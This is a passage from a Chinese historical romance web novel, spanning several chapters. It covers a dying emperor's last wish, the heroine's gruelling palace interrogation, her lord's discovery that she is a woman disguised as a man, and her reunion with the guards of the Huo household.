云琛走近,昏暗的烛火投射在皇帝干枯发白的面容上,已是油尽灯枯。
她恭敬跪下,叩了个头。
皇帝缓缓睁开眼,半天才将目光聚焦在她的脸上。
望了片刻,皇帝声音微弱地开口:
“孩子……可否……帮朕一件事……”
大概这辈子从没听过皇帝会如此卑微地开口求人,枭泽忍不住抬手捂脸,无声地哭了一会,又快速抹去眼泪,强装作平静。
被枭泽感染的心里难受,云琛再次叩头,哽咽道:
“请皇上吩咐,草民万死不辞!”
皇帝声音带着乞求:“我想请你……穿一次白衣……让我……看一眼就好……”
云琛怔了一下,瞬间明白皇帝的意思,不等枭泽示意,她立刻大声应下,快速冲进偏殿更衣。
她脱下血染的孝衣,换上一件精致又昂贵、衣边绣着蓝纹的白色锦衣。
与在东炎皇宫时如出一辙。
她熟练地将头发束好,用笔描了几下眉毛,而后冲到书桌上翻出一只染着蓝墨的毛笔,在眼白处轻轻点染出些许幽蓝。
而后,她深呼吸,调整心绪,端起气势,一步步朝寝殿走去。
远远的,枭泽只见那白衣如雪,翩翩而至,竟真如记忆中皇后娘娘女扮男装的样子似的,时间仿佛一下回到二十年前。
云琛走进寝殿,鼓足勇气,颤音唤了一声:
“皇上。”
第156章 陪葬
云琛一身白衣清冷,静立在龙榻前,叫了声“皇上”。
皇帝睁开眼,瞬间眼中含泪,浑身颤抖起来。
“阿沐……你唤我‘高羽’啊……”
云琛便又叫了声“高羽”。
一瞬间,皇帝泪如泉涌,声音微弱却用尽最后的力气戚戚大哭:
“阿沐……你终于来见我了……我对不起你……这一生……我都对不起你……”
“阿沐……你喜欢的云枕还在呢,我日日枕着……草牌也在,只是再没人同我玩了……你常用的白玉花璃盏,裂了一道细纹……你莫生气……我再亲手做个新的予你……”
“阿沐……我老了……你瞧,我已尘满面,发如霜了……”
“阿璃长大了……可以独当一面……只是权谋深似海,我光留个玉阳基来历练她,实在不够……我肃清朝野贪官佞臣,留个清明坦荡的朝廷给她……可一时安易得,时时安难得……朝廷永远没有太平无事的时候……我没时间了……剩下的便交给倪鲲吧……你信的人,我也一定信……”
“我本打定主意,诛杀佞臣,绝不留情……却不料江鸣偷得账本……到底全了我一世名声……”
皇帝断断续续对云琛说着许多话。
云琛听不太懂,她只看见皇帝神情悲伤,目光涣散,神思已越来越混沌。
和东炎皇帝一样。
和江鸣一样。
他们都思念着神仙墓里的神仙。
那位曾主宰过一个时代的大人物。
既是女将军,又是楠国皇后。
该是何其辉煌的一生啊……
“云琛……你有什么话……想对朕说的吗……”
在混混沌沌地对着那白衣说了许久话之后,皇帝好似突然清醒过来,对云琛说了这样一句。
什么话?对皇帝说?
云琛一时脑子没有反应过来,完全没注意到旁边枭泽欲言又止的样子。
循着本心,云琛道:
“皇上,前路若黑,草民愿为您点一盏长明灯……您别怕,尽管往前走,皇后娘娘就在尽头等着您呢。”
枭泽的嘴动来动去,最终一个字也没说出口,只是遗憾又释怀地叹了口气。
也许,比起到死都听着那些“万岁万岁万万岁”的假话,云琛这真挚之言,反而更动人心。
况且就算明明白白地告诉云琛,这是皇帝为感谢你,在给你一个许愿的机会,大概云琛也不会许黄金万两,许什么位高权重吧……
“阿璃呢……”皇帝声音已微弱不可闻。
枭泽跪在龙榻前回禀:“西郊叛军即将入城,方才公主与曹放将军已紧急前往平叛。”
皇帝缓缓闭了下眼睛,“很好……”
最后,只闻一声幽幽长叹,一句空洞又悲戚的“我好悔啊……”
在这黎明前的至暗时刻,那名震四海、一生励精图治的楠国开国皇帝。
那也曾风光无限的少年,那个属于世人的皇帝,却独属于爱人的南高羽,终于永远地闭上了眼睛。
“皇上驾崩——”有人在高声哭喊。
静默了二十年的丧钟,再次沉重嗡鸣,哀声回荡于天地之间。
云琛默默地跪在殿角落,看着宫人们痛哭叩头,忙前忙后地为皇帝沐浴,梳头,更衣……
她看着丞相捧来隆重尊贵的代表国丧的盘龙玉带,高悬在龙凤栖的牌匾上。
霜色白绫层层挂满大殿。无数朝臣武将哭着奔进来叩丧,又揣着黑色的信笺匆匆离开,奔向宫外**。
她有一种强烈的不真实感。
心说,原来皇帝也是会死的啊……
那么威震四海的英雄,权势滔天,冠绝古今,可也是要死的。
这世上之人,生得不公平,活得不公平,死得却公平。
不,也不公平。
荀戓为了给家人留下一千两黄金,宁可折下腰做叛徒;
小六这辈子最大的梦想,不过是做一个厉害的霍帮亲卫,可在京都权贵眼中,不过是个奴才;
江鸣孑孑一身,死在为公主南璃君筹谋的路上。
可南璃君在听到江鸣的死讯时,连眼睛都没有多眨一下,丝毫悲伤都没有。
皇帝**,那么多人在哭,一座建立在百姓骨血之上的奢华、空旷、绝密的皇陵等着他,可又有几人是真心哭他的离去……
人人都会死,那到底什么才是于这世间永恒的呢?
云琛脑子里乱七八糟地想了很多,无数朝臣和宫人们忙碌穿梭,都忙着为大行皇帝置办丧仪,没人注意到角落里守着一盏长明灯的她。
不知跪了多久,等她终于回过神的时候,只见天色已亮,但没有日光,清晨是幽蓝色的阴天模样。
一个身影靠近她,与她并肩跪下,隔着衣袖,先用宽大温暖的手掌,环住她纤细的手腕,然后悄悄摩挲向下,牵住了她的手。
霍乾念的声音低沉又温柔:
“我们回家吧。”
云琛抬眼望去,像望进幽蓝的有光芒的夜。
两人就这么定定地注视许久,千肠百转从眼眸流出,化作一缕情丝,紧紧交织缠绕在一起。
云琛随着霍乾念站起身,一柄侍卫刀却突然横插在二人之间,拦住了去路:
“丞相有令,云琛是大行皇帝最后召见的人,必须进行‘文武问宫’,以留史记。”
霍乾念看向侍卫身后不远处的倪鲲,面色冷下来:
“自古以来,‘文武问宫’都是问公主、皇子、妃嫔或重臣,怎么问得到云琛?”
倪鲲仍旧一身儒雅随和,道:
“大行皇帝驭天之际,没有
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召见公主和大臣,宫中更无妃嫔皇子,按例只能问云琛。”
霍乾念皱眉,正要发作,菘蓝带有哭腔的声音不知从哪里横**来,叹息道:
“大行皇帝见过云琛剑舞,喜欢得很,所以最后还要召见一番。只可惜以后再也见不着了,除非云琛愿意随大行皇帝同去,能够时时舞剑,也算不辜负大行皇帝喜爱。”
菘蓝说罢,又掉了两滴眼泪,哭得我见犹怜,完全不去看霍乾念如何用**的目光盯着她。
天知道先前宫宴之上,她站在南璃君身后随侍时,当看着云琛策马而来时,她有多震惊。
她没想到云琛竟能活着从东炎回来,还拿着令公主和霍帮筹谋已久却迟迟得不到的账本,又立了大功!
她简直嫉妒得想要发狂!
冒顶云琛风灼草功劳的事,大约也瞒不住了。
不如就让云琛给大行皇帝陪葬!一了百了!
倪鲲多年与南璃君对立,自然乐得见公主这方折损,刚好南璃君前去平叛,不在宫中,一切自然倪鲲说了算。
菘蓝盘算得很好,谁曾想,倪鲲只是淡淡地看了她一眼,用带有斥责的语气道:
“公主与曹将军前去平叛,你应当先替公主守殿、点长明灯。云琛只‘文武问宫’。大行皇帝命丧仪从简,不许殉葬。”
菘蓝脸上一白,还是姿态优雅地行了宫礼,应了声“是”。
倪鲲并不愿与菘蓝多话,转而对霍乾念道:
“霍都督,如今你首要差事便是前往玉家围剿玉阳基,接管全楠国的玉家堂口商户。这是个大差事,恐迟则生变,望速去。”
霍乾念将刀子一样的目光从菘蓝身上收回,只恨自己没有早点将菘蓝送去玉家,凭偷账本之事,借玉家手杀了她。
他横跨一步,挡在云琛身前:
“云琛乃我左膀右臂,不可或缺,望丞相酌情。”
思量片刻,瞧着霍乾念浑身紧绷戒备、像要随时暴起的护卫姿态,倪鲲语气安抚道:
“那便由问宫七日改为三日吧。霍都督,放心,‘问宫’只是询问和留存记档而已,绝不会有任何危险。”
这已是最大的通融。如今公主监国,倪鲲名为辅政,实则与南璃君平起平坐。是楠国的绝对当权者,不宜随便得罪。
霍乾念不能再推辞,云琛也不愿他为难,便走出他背后,叩头道了声“草民遵命。”
倪鲲又道:
“既平民不可‘问宫’,便赐云琛‘玄都护卫’之号,以平他议。”
云琛再次叩头谢恩,在霍乾念忧重的注视下,随着两个宫人离去。
倪鲲的目光在霍乾念与云琛之间打量了一个来回,最后落在云琛尚未来得及换去的白色锦衣上。
他轻轻颔首,眼神顿悟。
第157章 文武问宫
所谓“文武问宫”,是指对皇帝临终前召见之人进行审查,以求得最真实、无错漏的大行皇帝临终遗言。
因皇帝遗言往往事关国家大事和皇权交替,不可有一丝马虎错漏,故而要由负责宫中内事的行政宫,对被召见人进行反复多次的询问。
至于文武,“文问”指客气地询问,摘章逐句地来回审问核对,反反复复问到人疲惫不堪为止;
“武问”便不太客气了,轻则白天断水断粮,夜里不许人睡觉,一轮一轮审问官交替上阵,不停地强行将人唤醒,重则刑讯逼问也是允许的。
自古以来,接受文武问宫的都是妃嫔、皇子公主、重臣等,不论是谁被问,七天折磨下来,都要被扒一层皮。
云琛在昏暗的内室跪了整整两天。
两根蜡烛贴着她的脸,一直照着她的眼睛,熏得她眼泪直流,看不清黑暗之中的询问官长什么模样。
一遍遍地拷问,一会从头往尾问,一会又从尾往头问。
反反复复叫她把方才的话一字不漏地再复述一遍,但凡有一个字不对,必要重新来过。
就这么颠来倒去,被问得几乎麻木,云琛记不清自己已经说了多少遍大行皇帝的临终遗言,只感觉口干舌燥,头昏脑胀,累得想一头栽倒在地上。
两天水米未进,膝盖一次次跪到钻心剜骨得疼。
每每她将要闭上眼睡着时,耳边都会响起一声惊锣,吓得她心脏骤缩,慌得几乎晕厥。
她感觉自己就要支撑不住了,大脑一阵阵发懵。
天长地久似的时间,她熬啊熬,终于询问官都退下,两根蜡烛被撤去。
一瞬间,她再也撑不住力气,一头栽倒进个温暖的怀抱。
天旋地转之中,她仿佛看见霍乾念穿着太监的衣服,微弱的烛光照着他俊逸又温柔的面容。
她没力气再开口讲话,见面前送过来一壶水,立刻捧起来就喝。
她急着大口吞咽,霍乾念便在一旁用袖子替她擦拭下巴上的水珠。
他心疼地抱住她,“我已去求了丞相,只改为两日问宫。但丞相说自古以来最少也得三日,这第三日,只要你静静待着就好。询问官已将所有笔录记档封存,所有人都走了,这事结束了,最后一日我来陪你。”
她喝了些水,总算感觉活过来了些,人也清醒了点,指指他身上的太监衣服,却还是没力气开口问。
知道她想问什么,他道:“百官都在大殿守丧,我扮作太监才能进内宫。”
她点点头,余光瞟到他怀里鼓鼓囊囊的,露出一角饼子,她立刻掏出软饼,二话不说就狼吞虎咽地吃起来。
他赶紧去抢饼子,却又舍不得用力,只能眼睁睁看着她三两下吞掉一张饼,几乎没嚼就咽了下去,又伸手去他怀里摸。
他捉住她的手,哄孩子一样暖声道:
“别着急,我给你,你歇一歇,喝了那么多水,不能着急吃东西,琛儿乖,缓一缓。”
她点头如捣蒜,手里却不罢休,又摸出一块饼子吃下,吃到一半顿觉困乏袭来,眼皮子重的像铁闸门。
两天两夜没睡,又受着不见血却磨人的刑,她嘴里还有饼子没咽下去,人却已倒在他怀里沉沉睡去。
这问询内室空荡荡的,只有一张询问官坐的桌凳,两个云琛跪出坑的蒲团,无处可睡。
他便盘腿坐在地上,抱孩子似的环抱住她,将她的头靠在他胸口,一只手完全下意识地搂住她,轻轻拍打着。
残烛照着她的脸,巴掌大小,苍白清瘦,小脸又比在丹阳城时瘦了一大圈,看得他心疼。
他轻轻替她整理散乱的头发,见她嘴里还有没吃完的东西,怕她做梦时会呛着,他便拿水壶净了手,将修长的手指伸进她口中,一点点掏出碎饼。
掏出最后一块饼渣子的时候,她无意识动了动嘴,小巧的舌头从他指尖滑过,吓得他手一抖,赶忙收回来,却又忍不住笑起,捏捏她的脸,小声笑道:
“你这女扮男装实实害得我苦了好一阵,有些习惯还一时改不过来呢。”
她浑然不知那望着她的眼神多么柔情似水,只累得打起轻鼾,无梦深沉地睡了两个时辰。
人累极之后,反倒不能一觉到底。
云琛睡了两个时辰就醒了,醒来又是一顿连吃带喝,人终于彻底清醒。
身上还是困乏,她红着脸靠在霍乾念怀里,声音像蚊子一样:
“少主,你……”
到了此刻,两人终于坦诚相对。
好似在天涯海角兜兜转转走了一大圈,这才有机会面对面坐下来,聊一聊。
两人都有一肚子话想说,却又不知从何说起。
“少主,逐我出霍帮是假的,为了我不搅进‘霍玉相争’的危险,对吗?”
“对。你走后,我与公主一直在紧密筹备对付玉家,此次宫宴之事实属意外,若不是大行皇帝预感天命,诛杀佞臣,将玉家权党连根除去,我与公主还需费些时日筹谋,我还要与你分离好些日子。”
“那风灼草……”
“我知道。”
“丹阳城……”
“我知道。”
只需三言两语就能心意互通,什么也不必多说。
云琛长舒一口气,心里彻底舒展,再没任何烦恼,整个人都松懈下来。
接着她突然想起一件极其重要的事,一拍脑袋,连忙坐起身,叫道:
“少主,对你表白之后,我一直没告诉你,我其实是女子……为寻当年的恩主,才女扮男装做护卫,混在男人堆里的,这事我一直没敢……也没来得及同你说呢……”
霍乾念哭笑不得,真想给云琛头上一个暴栗。
这最最重要的事,她偏偏抛在最后头。
若不是他早就套话颜十九,知晓她女儿身,真不知还要苦恼多久,把那霍府家规抄几百遍才够!
回想过往种种,他只觉得心里酸甜苦辣都有,一股脑冲到嘴边,通通化作一句无奈又好笑的长叹:
“这我也知道……”
她惊讶不已,“啥时候?我什么时候暴露了?”
他再次将她搂进怀里,贴着她耳鬓厮磨,声音低沉又暧昧:
“你猜?”
不用去看,只感觉她身子一紧,就知道她必然已羞得小脸通红,估计耳朵都红了。
“少主,你也是……喜欢我的吗?如同我对你一般?”她越说声音越低,羞怯得不能自己。
他轻声笑起来,又道:
“你猜?”
她有点恼,躲着不肯让他抱。
他便两手捧住她的脸,敛了笑容,只与她四目相对,眼神缱绻,定定道:
“更甚。”
她反应了一下,才明白他说的“更甚”是什么意思。
她中意他,他亦是如此,甚至比她之心更甚。
终于
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得到苦苦琢磨了一年多的答案,她既兴奋又羞怯,一个劲儿地抿着嘴笑,不敢抬头看他。
他只觉得她这害羞的模样实在勾人夺魄,几乎要将他的心拿了去。
“琛儿,这内室无人,四处无窗,安静又暖和……”
怕惊着她,后半句他便没有说出口。
懵懂如她,怎会知道他这两个时辰肉贴肉地抱着她,是如何心猿意马地熬着。
瞧着怀里人儿雪肤红唇,他声音不自觉低哑:
“琛儿,你嘴上仿佛有一道伤口印子。”
她想起在丹阳城外被无耻小贼夺走初吻的情景,拧起眉头,气道:
“别提了,在丹阳城外等你的时候,有个‘流氓坏狗’咬我,但没有印子呀,应当是我把他咬伤了。”
他勾唇一笑,低头轻嘬她耳垂:
“这个我也知道——咬的可疼了——”
她惊讶地睁大眼睛,还想再说话,却被他低头吻住,所有娇羞控诉,出口都只剩呜呜咽咽。
他长长的睫毛垂着,挺拔的鼻梁一次次轻触她的脸颊。
在她唇齿好好流连一番后,他吻向她的眼。
“琛儿,闭眼。”
她听话地闭上眼睛,人还是紧张。
对她来说,这实实在在是第一次与他拥吻。
见她闭着眼睛,紧张得睫毛一个劲儿地颤抖,他顿觉心痒难耐,忍不住一把将她放倒在蒲团上,更深更切地吻了下去。
这询问内室虽安静,偶尔还是能听见外面宫人跑来跑去的脚步声。
有宫人在外面急问:“看见霍都督了吗?文武百官都在永安大殿跪奉大行皇帝丧仪,就霍都督不在,丞相大人在寻,公主平叛回来也在寻,霍帮人也在宫门外急疯啦!”
眼下实在不适合亲热,尤其这皇宫禁内,宫规森严,戒备严律,实在……
实在太刺激了些……
他极力克制自己,努力控制着一双手别乱动,告诉自己那唇齿香甜浅尝辄止吧,来日方长着呢。
可一番吸魂夺魄之后,云琛的衣服还是被折腾得乱七八糟。
二人坐在烛火已息的内室,只能听见两个剧烈喘息的声音,还有“咚咚”响个不停的心跳。
他的脸隐在黑暗里,一双凤眸熠熠生辉,亮得出奇。
点亮一支烛火,瞧见她整理完衣襟,乖巧地低眉坐着,红嫩微肿的唇边有着软香笑意,他忍不住心中一动,就又想倾身过去。
“大人,行政宫的人在往这边走,应该是要放人了!”门外,一个宫人的压低声音,适时响起,止住了霍乾念的动作。
不用说,云琛便知,那宫人一定是霍乾念的人,一直在外面望风。
她害羞地将头埋进膝盖,抬手轻推他肩膀,“别闹,来人了……”
他捉住她的手,浅浅亲一口,笑道:“听琛儿的。”
等行政宫的询问官进到内室的时候,只见云琛一个人坐在蒲团上,头发乱的像是刚睡醒的样子。
询问官行礼道:“‘文武问宫’是规制,多有得罪玄都护卫之处,还望大人包涵。现在问宫结束,这三日辛苦大人了,大人快快出宫回府,沐浴歇息去吧。”
说完,那询问官打量云琛,又笑道:
“习武之人果然比常人身强百倍,经历这么辛苦的问宫,护卫大人竟还红光满面的,实在佩服!”
云琛还礼,心虚得不敢抬头。
第158章 重回霍帮
霍帮的第四亲卫、大名鼎鼎的玄都护卫云琛回来了。
据说,云琛是背负着盗取玉家账本的秘密任务,表面上被逐出霍帮,实则潜伏一年之久,历经艰辛,血战三日,才搏命拿得账本。
血染白衣,策马驰宫,云琛亲手将账本呈给皇帝,促成了一场**宫宴、大行皇帝驾崩、东宫储君率军平叛的惊天大戏。
因云琛已正式得封玄都护卫,坊间便将这场清君侧之变称为“玄都宫变”。
这便是不言没有随云琛一起进宫送账册,回霍府主要忙活的“造谣”大事。
等霍乾念与云琛回来的时候,阖府上下已翘首期盼多时。
大家见到云琛,甚至比见到霍乾念还激动。
要不是府门上插着狮威旗,大家都差点忘了自家主子荣升三品巡司大都督的喜事。
云琛挨个和相熟的护卫们拥抱拍肩、寒暄说笑,霍乾念反倒像个护卫似的跟在一旁,但凡有哪个人抱云琛的时间稍微长了些,他都要上手将人拉开。
“从前我只能坐在轮椅里干看着,以后谁也别想再这么折磨我了!”
霍乾念悄悄对着云琛耳朵说。
云琛捂嘴偷笑,觉得心里甜滋滋的。
只可惜还没有甜一会儿,花绝就如脱缰的野狗一般,从远处飞冲过来,一把扑在云琛身上紧紧抱住,哭道:
“阿琛!好兄弟!!”
云琛也鼻酸落泪,大力回抱住花绝,“你和卖梨糖的小娘子到哪一步了?我错过喜酒了没有?”
花绝哭的眼泪哗哗,“没呢!我同蕊儿说了!你什么时候回来!我们什么时候再成亲!”
云琛抹了把眼泪,狠捶花绝一拳头,“你这个品种的‘渣男’,我还真是第一次见!”
见花绝一抱云琛,就抱个没完没了,霍乾念一把揪住他后衣领子提起来,不悦道:
“我让你办的差事办完了吗?”
花绝哭得一抽一抽,不解地回答:“办完了啊。”
霍乾念道:“再办一遍!”而后拉着云琛往栖云居而去,不管花绝怎么在后面叫唤“少主你让我宴请玄甲军步兵营的营长来着,我俩刚吃完,再吃一遍吗?”
云琛的回归,让大家心里都有一种“完整”的归属感。
为守大行皇帝国丧,府中不可大兴宴会,但霍老爷子的院里、武师总管院、账房、小厮房、侍女所……
各个院里还是不约而同摆了小饭桌,挨个请云琛吃了一圈。
云琛吃了一天,撑得肚子溜圆,喝酒喝得头昏脑涨,怀里揣了一大堆各种各样的礼物。
终于回到栖云居的时候,叶峮揽住云琛肩头,指着一桌子鸡鸭鱼肉道:
“你小子吃了一整天才知道回!家里的饭必须吃啊!”
不言提出两大坛酒,笑嘻嘻道:
“一年多没在一起吃饭了!哥几个今天好好聚一聚!不醉不归!谁先逃席谁是孙子!”
云琛见势不妙,正想脚底抹油溜之大吉,却被花绝一把拽回来,一杯酒堵到嘴上:
“来,开局先来三杯润润嗓子!”
几人闹作一团,霍乾念也不阻拦,同从前一样笑看着,只不过这次他可不是干坐在一旁,而是挑眉抬眸,给了云琛一个笃定的眼神,意思是叫她“放心”。
润禾和几个小厮麻利地上完所有酒菜,云琛发现和从前霍乾念单独一桌,护卫们另一桌不同,如今只有一张桌子。
润禾靠近云琛,悄悄笑道:
“如今少主都是和亲卫一起用饭,少主说他现在腿好了,抢菜是打得过的——”
霍乾念落定主座,叶峮忙招呼几人也入座用饭。
五人聚在一起,吃了一圈,喝了六轮。云琛的酒基本都被霍乾念代喝了,她感觉还挺清醒,叶峮三人却已经不太明白了,说话都开始有醉腔,气氛越来越热闹。
一开始,几人还都在笑,互相调侃打趣、吹牛逼,将这一年多的经历“添油加醋”地吹嘘一番;
等酒喝多了,又不免纷纷落泪,想起兄弟之间分离
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一年多,各自经历的艰难困苦,忍不住抱在一起嚎了几嗓子。
花绝哭兮兮地抓过云琛的手,撸起她袖子查看,大着舌头道:
“阿琛!我可怜的兄弟!这一年吃了多少苦啊!瞧瞧这胳膊上全是、全是……哎?怎么这么白嫩?我记得以前有两道挺大的刀疤呢,怎么都没了?”
花绝抓得紧,云琛挣不脱。
霍乾念再次提住花绝后衣领,勒得花绝直翻白眼,将酒灌进花绝喉咙:
“你别折腾她,我陪你喝。”
不言在旁边一个劲儿地起哄,“哟哟哟,少主又开始护犊子了!你们是不知道,之前在丹阳城的时候,我们和阿琛在客栈住邻居,少主成天在房门口转悠听墙根,恨不得钻进阿琛房里,亲眼看看他在干啥!这家伙,往死里护啊!”
花绝瞪大眼睛,“你们去丹阳城了?啥时候?还和阿琛住客栈?你们提前见过了?”
看出花绝脸色不对,叶峮赶紧打圆场,“也是办差事的时候偶然遇见的,这不,我们就原把阿琛骗回来了!”
不言知道叶峮的意思,但他最喜欢气花绝,便故意道:
“嘿嘿,叶哥别胡说,哪有什么差事要办,就是专门去寻阿琛的,只不过花绝嘴巴大,守不了秘密,便不带。至于怎么寻到阿琛,这事还要从一个月黑风高的夜晚说起,当时我和两个暗卫兄弟正在屋顶……”
完全听不进去后面不言在说什么,花绝气得七窍生烟,借着酒疯差点将桌子掀翻。
得亏叶峮眼疾手快摁住桌子,才没浪费这一桌好酒好菜。
云琛与霍乾念看看气得跳脚的花绝,啰啰嗦嗦口若悬河又欠揍的不言,二人对视一眼,坏笑一声,分别搂住花绝和不言。
七八杯好酒伺候过后,不言的嘴关上了,花绝也去梦里见他的蕊娘了。
霍乾念轻轻一个眼神过去,叶峮立刻捂着脑袋喊“喝多了喝多了”,麻利地扛着花绝和不言离开。
屋子里终于重回安静。
第159章 幽怨的女鬼
各个院里都热闹了一天,栖云居是最后才安静的。
原本今日该由叶峮守夜,但他心里跟明镜似的,送完花绝和不言回房,立马就回房睡大觉去了,只留云琛和霍乾念在房里。
屋子里重回安静。
霍乾念穿着寝衣,坐在床榻边,拍拍身旁的位置,示意云琛上榻。
她的脸“唰”一下变得通红,站在一旁不肯上去。
他故意吹息两盏灯,叫屋子里更昏暗些,勾勾手指,语调危险地说:
“琛儿过来,我同你讲个故事,哄你睡,好不好?”
她低着头,脸红得快冒烟,结结巴巴地问:
“啥啥啥故事?”
他探腰伸臂,揽过她坐进怀里,低声笑道:
“讲女娲造人的故事吧。”
“为什么讲这个?”
他一把将她放倒在榻上,靠近她耳边,声音轻佻又魅惑,气息吹得她耳朵酥麻:
“据说女娲刚造出来的人,都是不穿衣服的。想不想知道是什么样儿的?”
她浑身一麻,立刻慌得想要逃跑,可被他欺身压着,逃又逃不掉,干脆直接将头埋进被子,羞得不敢出来。
从前的霍乾念,冷郁又疏离,从早到晚沉着眉眼,思量着一肚子阴雨。
如今腿好了,他仿佛又回到了腿伤之前的绝世公子,意气风发,英姿蓬勃。
但因为近十年的腿伤,让他沉淀出超过常人的耐性,便比从前更多了些强势冷峻和城府不言说。
但那都是对外人。
对待云琛嘛,他恨不得刨心刨肺出来,挨个给她讲一讲看一看。
至于这食色性也的一面,估计这辈子也只有云琛能见到,也没有旁人可作比较。
要换作从前,她实在难以想象,会有这么露骨的荤话从他嘴里说出来。
“从前我怎么没发现你这么坏!”她嗔怪的声音从被子里传出。
他像一只终于圈住猎物,却不着急生吞活剥的豹子,只在“爪子”下面来回拨弄,饶有兴趣地瞧着她挣扎。
他微微偏头,目光幽暗地瞧着她粉红的耳垂和脸颊。
低头嗅嗅那熟悉的、暖烘烘的、带着一点奶香的气味,他用鼻尖轻轻触碰她后颈、肩膀、后腰。
每触碰一下,便能感觉到她身子明显一颤。
他暗暗深吸几口气,咬着牙忍住躁意,不让自己身体的某个部位碰到她的大腿,最后将额头抵在她肩胛骨,叹气道:
“‘发乎情,止乎礼’……圣人何故欺我也……要不,我今日就别听圣人的了吧?!”
她吓得语无伦次:“还是听听听听吧”!
看出她被逗得急了,他哈哈大笑,抱住她亲了亲发顶,然后起身离开,并不进一步做些什么。
他铺了亲卫平时睡的软榻,躺在离她不远的地方,也学着她的样子蒙起头。
她将脑袋从被子里探出来,像一只刚出窝的小兔子,眼神盈亮地望着他,问:
“你干嘛背对着我睡,还蒙着头呀?”
他声音闷闷地从被子里传出来:
“若面对着你,不蒙着头,我便很难做个君子了。”
她捂嘴偷笑:“我扮作男子那么久,怎么不知道这种事?”
他气鼓鼓道:“你别嘚瑟,早晚让你好好知道知道!”
很快,一刻钟后。
云琛还没什么困意的时候,霍乾念已经呼呼大睡了。
她侧身趴在榻上,傻笑地看着他的睡颜。
不知多久没有这样安定又祥和的感觉了,虽然知道只是一时的,围剿玉家的事已迫在眉睫,很快就又要踏上奔波,可她心里还是觉得特别满足。
只可惜满足,却不圆满。
当这句话从脑子里蹦出来的时候,云琛顿觉睡意全无,脸上的笑容也逐渐消失。
她望着头顶青色的纱幔,很多人与事都如湖水泛上。
估摸着再也睡不着了,她穿好衣服往外走。
经过霍乾念的时候,被他迷迷糊糊拽住衣角。
“琛儿去哪里?”
她好笑地拉开他的手,替他掖好被子。
“我去如厕。”
他眼睛都没睁开,“哦”了一声,又放心睡去。
她轻车熟路地来到亲卫住的两排屋子,站在一间已空落许久的屋前,静静立了很久。
那是亲卫身边跑腿护卫可以住的单间。
推开门去,满屋尘埃。
小六的遗物都被收敛在一个小箱子里,和荀戓一样,东西并不多。
只是小六是个吃百家饭长大的孤儿,没有人来领他的遗物,那箱子便一直放在屋子里,落满了灰尘。
她上前启开箱子,里面是两件薄衣,一块磨刀石,两个鼓鼓囊囊的钱袋子,一些零碎的小玩意,还有一块荀戓给的长命锁。
大概是灰尘太大,她觉得眼睛有些发涩。
抬手擦擦眼,手放下的时候,习惯性地落在腰间的剑柄上,摸
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了个空。
饮血剑这会儿不在身边,那是江鸣给她留下的唯一遗物。
在称霸楠国的路上,对抗玉家的一次次斗争中,霍帮折损数千人。
她这个霍乾念身边的亲卫护卫,也失去了挚友和恩师。
想起往日重重,她心里难受,扶着桌子调整呼吸,忍着不落泪,余光却瞟到身后不远处立着一道黑影。
她猛地回身看去,只见一个女鬼披头散发站在月光下,眼神幽怨地望着她。
一瞬间,所有伤感的情绪都没了。
她吓得差点尖叫出声,一屁股跌坐在地上。
待看清来人后,她捂着几乎要骤停的心脏,结结巴巴叫道:
“小、小、小月儿?你大半夜不睡觉!来这干嘛?!”
小月儿眼神幽怨,声音空洞:
“云护卫……你为什么不去看二小姐?人人院里都摆了贺你回府的小饭桌,你全都去了!怎么偏偏不去二小姐的院子?”
云琛起身拍打衣服,含糊道:“我……我还没腾出时间来,没空去……”
一听这糊弄人的话,小月儿立刻两手张开,朝云琛扑了过来,那长长的指甲在月光下张牙舞爪,看着真跟女鬼似的。
云琛躲过最狠的一掐,还是被小月儿拧住胳膊上的皮肉,骂道:
“你个没心没肺的死云琛臭云琛!你知道这一年多,二小姐都是怎么过的吗?!好好一个美人儿!熬成什么样了?!二小姐到底做了什么孽,偏偏碰上你这么个狼心狗肺的瘟神!”
小月儿说着哭了起来,呜呜咽咽的哭声散在夜空里,显得更渗人了。
云琛揉揉被掐疼的胳膊,连忙去捂小月儿的嘴,急道:
“小月儿你别闹!这里是外院男宅!可别叫人发现你大半夜来这里,会坏你名声的!”
小月儿就势狠狠咬了云琛一口,疼得云琛倒吸一口凉气。
啐了云琛一口,小月儿抽抽搭搭骂道:
“你还知道我们女子是有名声的?多少求亲的上门来,二小姐都一一拒了!老太爷为这事发了大火!二小姐从来没违拗过老太爷,却因为你,铁了心就是不嫁,宁可以死相逼!你知不知道?!”
云琛沉默了,任小月儿如何再对着她又掐又咬,她也不再还手。
“算我求你,去瞧瞧二小姐行吗?让二小姐远远地看你一眼也行,好不好……二小姐从白天等到黑夜,到现在还等的呢……”
第160章 热烈地绽放
清秋居中,院子里摆着已经不能称之为“小”的饭桌。
偌大的圆桌上满满当当摆着好酒好菜。
只是酒菜都凉透,蜡烛也已燃尽。
霍阾玉独坐在桌前,瞧着那蜡烛底下凝结的一层又一层的烛泪,不觉怔怔地看了许久。
忽而,一道修长的身影轻盈落定院中,令霍阾玉终于过神。
真见到云琛了。
终于,又见到了。
明明该高兴的,霍阾玉却突然控制不住地开始落泪,任凭她怎么努力也停不下来,只能赶紧偏过头,摸摸发钗,假装整理衣裙,装作无事地笑起,有些慌乱道:
“你来了?没想到你会来,菜都凉了,这可怎么好?要不温一壶酒吧,他们都说你爱喝这青花酿,我不知道是不是你爱喝的那一分,你尝尝……小月儿呢?去换个新杯子来吧,这杯子肯定已经落灰了,快去!”
看着霍阾玉手足无措的样子,云琛明知自己并没有做错什么,却还是觉得愧疚。
如今的霍阾玉,早已褪去少女的活泼与娇憨,性子愈发沉静,越来越像个足不出户的深闺大小姐。
因为长期神思忧郁的缘故,霍阾玉比从前瘦了许多,整个人都透着一种美人怜弱之感。
云琛在心里犹豫,是否干脆借此表明自己女扮男装之事,彻底叫霍阾玉断了心思。
可话已经到嘴边,小月儿一句话,却让云琛什么也说不出口。
小月儿拧巴地站在一旁,不肯去换新杯子,生气地瞪着云琛:
“二小姐半条命都快没了!还给这厮什么新杯子喝酒?”
云琛再仔细一瞧,这才发现霍阾玉的确唇色发白,神情有些恹恹的。
哪怕是普通见面,听到对方病了,也得问一句安康。
云琛问:“二小姐怎么生病了?大夫看了怎么说?”
不顾霍阾玉眼神制止,小月儿攥着拳头喊道:
“你被逐出府之后,二小姐天天以泪洗面,忧心忡忡,本就吃不下睡不好的!上个月段将军家来提亲!二小姐不肯,被老爷大骂一顿,二小姐只能绝食相拒!整整六日没有吃饭!硬生生饿昏了过去,老爷才罢休!差点半条命都没了!”
